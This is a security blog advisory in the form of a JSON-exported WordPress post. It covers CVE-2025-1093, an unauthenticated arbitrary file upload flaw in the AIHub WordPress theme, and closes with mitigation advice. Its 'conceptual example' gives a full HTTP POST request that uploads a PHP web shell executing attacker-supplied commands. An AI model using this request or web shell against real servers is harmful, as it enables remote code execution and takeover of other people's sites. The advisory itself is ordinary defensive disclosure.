{"id":31073,"date":"2025-04-25T08:16:37","date_gmt":"2025-04-25T08:16:37","guid":{"rendered":""},"modified":"2025-06-14T06:11:35","modified_gmt":"2025-06-14T12:11:35","slug":"cve-2025-1093-critical-file-upload-vulnerability-in-aihub-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-1093-critical-file-upload-vulnerability-in-aihub-wordpress-theme\/","title":{"rendered":"<strong>CVE-2025-1093: Critical File Upload Vulnerability in AIHub WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The AIHub WordPress theme suffers from a critical vulnerability that exposes users to significant security risks. This theme, used by numerous WordPress sites globally, contains a flaw that leaves it susceptible to arbitrary file uploads from unauthenticated attackers. The potential consequences of this security flaw can be dire, with the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24297-high-risk-javascript-code-injection-vulnerability\/\"  data-wpil-monitor-id=\"35824\">risk of remote code<\/a> execution on the affected server being a significant threat. This vulnerability, identified as CVE-2025-1093, is a pressing issue that demands immediate attention <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45554-high-severity-memory-corruption-due-to-race-condition\/\"  data-wpil-monitor-id=\"58175\">due to its high severity<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-1093<br \/>\nSeverity: Critical (9.8 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Possible <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3914-potential-arbitrary-file-uploads-and-system-compromise-in-aeropage-sync-for-airtable-wordpress-plugin\/\"  data-wpil-monitor-id=\"40563\">system compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-630273123\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AIHub <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4317-thegem-wordpress-theme-vulnerability-leading-to-arbitrary-file-uploads\/\"  data-wpil-monitor-id=\"48173\">Theme for WordPress<\/a> | Up to and including 1.3.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27282-unrestricted-upload-of-file-with-dangerous-type-vulnerability-in-theme-file-duplicator\/\"  data-wpil-monitor-id=\"36840\">vulnerability resides in the generate_image function of the AIHub theme<\/a>. This function lacks proper file type validation, thereby providing a loophole for attackers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29281-arbitrary-file-upload-vulnerability-in-perfreeblog-4-0-11\/\"  data-wpil-monitor-id=\"35515\">upload arbitrary files<\/a>. An unauthenticated attacker can exploit this vulnerability by sending a specifically crafted HTTP POST request to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32589-php-remote-file-inclusion-vulnerability-in-odude-flexi-guest-submit\/\"  data-wpil-monitor-id=\"35510\">upload<\/a> a malicious file to the server. Once uploaded, this file could be executed on the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35779\">leading to possible system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2180965286\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"56858\">vulnerability might be exploited<\/a>. The attacker sends a malicious payload embedded within an HTTP POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36044\">request to the vulnerable<\/a> endpoint.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/themes\/aihub\/generate_image.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uploads a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32519-themeatelier-idonate-php-remote-file-inclusion-vulnerability\/\"  data-wpil-monitor-id=\"35382\">PHP shell file<\/a> that can execute arbitrary shell commands controlled by the attacker.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>It is recommended to apply the vendor patch as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32663-php-local-file-inclusion-vulnerability-in-fat-cooming-soon-plugin\/\"  data-wpil-monitor-id=\"35586\">soon as it is available to fix this vulnerability<\/a>. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. These systems can detect and block malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39557-severe-unrestricted-file-upload-vulnerability-in-kadence-woocommerce-email-designer\/\"  data-wpil-monitor-id=\"36083\">file uploads<\/a>, thereby preventing the exploitation of this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The AIHub WordPress theme suffers from a critical vulnerability that exposes users to significant security risks. This theme, used by numerous WordPress sites globally, contains a flaw that leaves it susceptible to arbitrary file uploads from unauthenticated attackers. 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